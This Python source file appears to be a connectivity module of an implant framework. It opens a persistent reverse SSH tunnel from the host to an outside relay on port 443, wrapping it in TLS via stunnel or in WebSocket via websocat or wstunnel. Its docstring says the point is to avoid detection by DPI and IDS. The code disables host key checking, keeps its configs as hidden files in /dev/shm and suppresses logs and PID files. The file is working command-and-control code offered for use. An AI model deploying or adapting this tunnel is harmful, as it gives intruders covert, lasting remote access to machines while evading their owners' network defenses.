#!/usr/bin/env python3
"""Reverse tunnel module — autossh reverse SSH over TLS/WebSocket.

Establishes a persistent reverse SSH tunnel using autossh with automatic
reconnection.  The SSH connection is NEVER raw on port 443 — it MUST be
wrapped in TLS (via stunnel) or transported over WebSocket to avoid
protocol fingerprinting by DPI/IDS.

Tunnel chain:
  implant -> stunnel (local TLS wrap) -> relay:443 -> sshd
  OR
  implant -> SSH-over-WebSocket -> relay:443 -> ws-to-ssh proxy -> sshd
"""

import logging
import os
import signal
import subprocess
import tempfile
import time
from typing import Optional

from modules.base import BaseModule

logger = logging.getLogger("sensor.connectivity.reverse_tunnel")

AUTOSSH_BIN = "/usr/bin/autossh"
STUNNEL_BIN = "/usr/bin/stunnel"
SSH_BIN = "/usr/bin/ssh"
CONNECT_TIMEOUT = 30  # seconds


class ReverseTunnel(BaseModule):
    """Reverse SSH tunnel via autossh, wrapped in TLS or WebSocket."""

    name = "reverse_tunnel"
    module_type = "connectivity"
    priority = -100
    requires_root = False

    def __init__(self, bus, state, config, engine=None):
        super().__init__(bus, state, config, engine)
        self._autossh_proc: Optional[subprocess.Popen] = None
        self._stunnel_proc: Optional[subprocess.Popen] = None
        self._relay_host: Optional[str] = None
        self._relay_port: int = 443
        self._relay_user: Optional[str] = None
        self._key_file: Optional[str] = None
        self._remote_port: int = 0
        self._monitor_port: int = 0
        self._transport: str = "stunnel"  # "stunnel" or "websocket"
        self._stunnel_config_path: Optional[str] = None
        self._ssh_config_path: Optional[str] = None
        self._local_stunnel_port: int = 0
        self._connected = False

    # ------------------------------------------------------------------
    # BaseModule interface
    # ------------------------------------------------------------------

    def start(self) -> None:
        if self._running:
            return

        tun_cfg = self.config.get("connectivity", {}).get("reverse_tunnel", {})
        if not tun_cfg:
            logger.error("No reverse_tunnel config in bigbrother.yaml")
            self.state.set_module_status(self.name, "error")
            return

        self._relay_host = tun_cfg.get("relay_host")
        self._relay_port = tun_cfg.get("relay_port", 443)
        self._relay_user = tun_cfg.get("relay_user", "tunnel")
        self._key_file = tun_cfg.get("key_file")
        self._remote_port = tun_cfg.get("remote_port", 22222)
        self._monitor_port = tun_cfg.get("monitor_port", 0)
        self._transport = tun_cfg.get("transport", "stunnel")

        if not self._relay_host:
            logger.error("relay_host not configured for reverse tunnel")
            self.state.set_module_status(self.name, "error")
            return

        if not self._key_file or not os.path.isfile(self._key_file):
            logger.error("SSH key file not found: %s", self._key_file)
            self.state.set_module_status(self.name, "error")
            return

        if not self.connect():
            self.state.set_module_status(self.name, "error")
            return

        self._running = True
        self._pid = os.getpid()
        self._start_time = time.time()
        self._connected = True

        self.state.set_module_status(self.name, "running", pid=self._pid)
        self.bus.emit("CONNECTIVITY_CHANGED",
                      {"module": self.name, "state": "up",
                       "relay": self._relay_host, "remote_port": self._remote_port,
                       "transport": self._transport},
                      source_module=self.name)
        logger.info("Reverse tunnel up — %s:%d via %s (transport: %s)",
                     self._relay_host, self._remote_port,
                     self._relay_port, self._transport)

    def stop(self) -> None:
        if not self._running:
            return

        self.disconnect()
        self._running = False
        self._connected = False

        # Cleanup temp configs
        for path in (self._stunnel_config_path, self._ssh_config_path):
            if path and os.path.isfile(path):
                try:
                    os.unlink(path)
                except OSError:
                    pass

        self.state.set_module_status(self.name, "stopped")
        self.bus.emit("CONNECTIVITY_CHANGED",
                      {"module": self.name, "state": "down"},
                      source_module=self.name)
        logger.info("Reverse tunnel stopped")

    def status(self) -> dict:
        autossh_alive = (self._autossh_proc is not None and
                         self._autossh_proc.poll() is None)
        stunnel_alive = (self._stunnel_proc is not None and
                         self._stunnel_proc.poll() is None)

        return {
            "running": self._running,
            "pid": self._pid,
            "uptime": time.time() - self._start_time if self._start_time else 0,
            "connected": self._connected,
            "relay_host": self._relay_host,
            "relay_port": self._relay_port,
            "remote_port": self._remote_port,
            "transport": self._transport,
            "autossh_alive": autossh_alive,
            "autossh_pid": self._autossh_proc.pid if self._autossh_proc else None,
            "stunnel_alive": stunnel_alive,
        }

    def configure(self, config: dict) -> None:
        self.config.update(config)

    def health_check(self) -> bool:
        if not self._running:
            return False
        return self.is_connected()

    # ------------------------------------------------------------------
    # Tunnel operations
    # ------------------------------------------------------------------

    def connect(self) -> bool:
        """Establish the reverse tunnel: start stunnel/ws, then autossh."""
        if self._transport == "stunnel":
            if not self._start_stunnel():
                return False
            ssh_target_host = "127.0.0.1"
            ssh_target_port = self._local_stunnel_port
        elif self._transport == "websocket":
            # WebSocket transport uses SSH ProxyCommand with a ws client
            ssh_target_host = self._relay_host
            ssh_target_port = self._relay_port
        else:
            logger.error("Unknown transport: %s (must be 'stunnel' or 'websocket')",
                         self._transport)
            return False

        # Write SSH config for strict options
        self._ssh_config_path = self._write_ssh_config(ssh_target_host, ssh_target_port)

        # Build autossh command
        env = dict(os.environ)
        env["AUTOSSH_GATETIME"] = "0"  # Don't require initial connection time
        env["AUTOSSH_POLL"] = "30"     # Check connection every 30s

        if self._monitor_port:
            env["AUTOSSH_PORT"] = str(self._monitor_port)
        else:
            env["AUTOSSH_PORT"] = "0"  # Disable monitoring port, use ServerAlive

        ssh_cmd = [
            SSH_BIN,
            "-F", self._ssh_config_path,
            "-N",  # No shell
            "-T",  # No PTY
            "-R", f"{self._remote_port}:127.0.0.1:22",
            "-i", self._key_file,
            "-o", "StrictHostKeyChecking=no",
            "-o", "UserKnownHostsFile=/dev/null",
            "-o", "ServerAliveInterval=15",
            "-o", "ServerAliveCountMax=3",
            "-o", "ExitOnForwardFailure=yes",
            "-o", "LogLevel=ERROR",
        ]

        # WebSocket transport uses ProxyCommand
        if self._transport == "websocket":
            proxy_cmd = self._get_ws_proxy_command()
            if proxy_cmd:
                ssh_cmd.extend(["-o", f"ProxyCommand={proxy_cmd}"])
            ssh_cmd.extend([
                "-p", str(ssh_target_port),
                f"{self._relay_user}@{ssh_target_host}",
            ])
        else:
            ssh_cmd.extend([
                "-p", str(ssh_target_port),
                f"{self._relay_user}@{ssh_target_host}",
            ])

        autossh_cmd = [AUTOSSH_BIN, "-M", str(self._monitor_port)] + ssh_cmd[1:]
        # autossh wraps ssh; pass the ssh binary path
        autossh_cmd = [AUTOSSH_BIN] + ssh_cmd

        try:
            self._autossh_proc = subprocess.Popen(
                autossh_cmd,
                stdout=subprocess.DEVNULL,
                stderr=subprocess.PIPE,
                env=env,
            )
        except FileNotFoundError:
            logger.error("autossh not found at %s", AUTOSSH_BIN)
            return False
        except OSError as exc:
            logger.error("Failed to start autossh: %s", exc)
            return False

        # Wait briefly to check if process dies immediately
        time.sleep(2.0)
        if self._autossh_proc.poll() is not None:
            stderr = ""
            try:
                stderr = self._autossh_proc.stderr.read().decode(errors='replace')[:500]
            except Exception:
                pass
            logger.error("autossh exited immediately: %s", stderr)
            self._cleanup_stunnel()
            return False

        logger.info("autossh started (PID %d)", self._autossh_proc.pid)
        return True

    def disconnect(self) -> None:
        """Tear down the reverse tunnel."""
        # Stop autossh
        if self._autossh_proc and self._autossh_proc.poll() is None:
            try:
                self._autossh_proc.terminate()
                self._autossh_proc.wait(timeout=5.0)
            except subprocess.TimeoutExpired:
                self._autossh_proc.kill()
                try:
                    self._autossh_proc.wait(timeout=2.0)
                except subprocess.TimeoutExpired:
                    pass
        self._autossh_proc = None

        # Stop stunnel
        self._cleanup_stunnel()
        self._connected = False

    def is_connected(self) -> bool:
        """Check if the autossh process is alive."""
        if self._autossh_proc is None:
            return False
        alive = self._autossh_proc.poll() is None
        self._connected = alive
        return alive

    # ------------------------------------------------------------------
    # stunnel management
    # ------------------------------------------------------------------

    def _start_stunnel(self) -> bool:
        """Start stunnel to wrap SSH in TLS."""
        # Pick a random high port for local stunnel listener
        import socket
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.bind(("127.0.0.1", 0))
            self._local_stunnel_port = s.getsockname()[1]

        config_content = (
            f"pid =\n"  # Don't write PID file
            f"foreground = yes\n"
            f"syslog = no\n"
            f"debug = 0\n"
            f"\n"
            f"[ssh-tunnel]\n"
            f"client = yes\n"
            f"accept = 127.0.0.1:{self._local_stunnel_port}\n"
            f"connect = {self._relay_host}:{self._relay_port}\n"
            f"TIMEOUTconnect = 10\n"
        )

        tmpdir = "/dev/shm" if os.path.isdir("/dev/shm") else tempfile.gettempdir()
        self._stunnel_config_path = os.path.join(tmpdir, ".stunnel_bb.conf")

        fd = os.open(self._stunnel_config_path,
                     os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)
        try:
            os.write(fd, config_content.encode())
        finally:
            os.close(fd)

        try:
            self._stunnel_proc = subprocess.Popen(
                [STUNNEL_BIN, self._stunnel_config_path],
                stdout=subprocess.DEVNULL,
                stderr=subprocess.PIPE,
            )
        except FileNotFoundError:
            logger.error("stunnel not found at %s", STUNNEL_BIN)
            return False
        except OSError as exc:
            logger.error("Failed to start stunnel: %s", exc)
            return False

        # Wait for stunnel to be ready
        time.sleep(1.0)
        if self._stunnel_proc.poll() is not None:
            stderr = ""
            try:
                stderr = self._stunnel_proc.stderr.read().decode(errors='replace')[:500]
            except Exception:
                pass
            logger.error("stunnel exited: %s", stderr)
            return False

        logger.debug("stunnel listening on 127.0.0.1:%d -> %s:%d",
                     self._local_stunnel_port, self._relay_host, self._relay_port)
        return True

    def _cleanup_stunnel(self) -> None:
        """Stop the stunnel process."""
        if self._stunnel_proc and self._stunnel_proc.poll() is None:
            try:
                self._stunnel_proc.terminate()
                self._stunnel_proc.wait(timeout=3.0)
            except subprocess.TimeoutExpired:
                self._stunnel_proc.kill()
                try:
                    self._stunnel_proc.wait(timeout=2.0)
                except subprocess.TimeoutExpired:
                    pass
        self._stunnel_proc = None

    # ------------------------------------------------------------------
    # SSH config
    # ------------------------------------------------------------------

    def _write_ssh_config(self, host: str, port: int) -> str:
        """Write a transient SSH config file."""
        config = (
            f"Host tunnel-relay\n"
            f"    HostName {host}\n"
            f"    Port {port}\n"
            f"    User {self._relay_user}\n"
            f"    IdentityFile {self._key_file}\n"
            f"    StrictHostKeyChecking no\n"
            f"    UserKnownHostsFile /dev/null\n"
            f"    ServerAliveInterval 15\n"
            f"    ServerAliveCountMax 3\n"
            f"    ExitOnForwardFailure yes\n"
            f"    LogLevel ERROR\n"
        )

        tmpdir = "/dev/shm" if os.path.isdir("/dev/shm") else tempfile.gettempdir()
        path = os.path.join(tmpdir, ".ssh_tunnel_bb.conf")

        fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)
        try:
            os.write(fd, config.encode())
        finally:
            os.close(fd)

        return path

    def _get_ws_proxy_command(self) -> Optional[str]:
        """Return a ProxyCommand string for SSH-over-WebSocket."""
        # websocat is the preferred tool for ws-to-tcp proxying
        websocat = "/usr/bin/websocat"
        if os.path.isfile(websocat):
            return (f"{websocat} --binary "
                    f"wss://{self._relay_host}:{self._relay_port}/ssh "
                    f"--tls-domain {self._relay_host}")

        # Fallback: wstunnel
        wstunnel = "/usr/bin/wstunnel"
        if os.path.isfile(wstunnel):
            return (f"{wstunnel} client "
                    f"-L stdio://127.0.0.1:0 "
                    f"wss://{self._relay_host}:{self._relay_port}")

        logger.warning("No WebSocket proxy tool found (websocat or wstunnel)")
        return None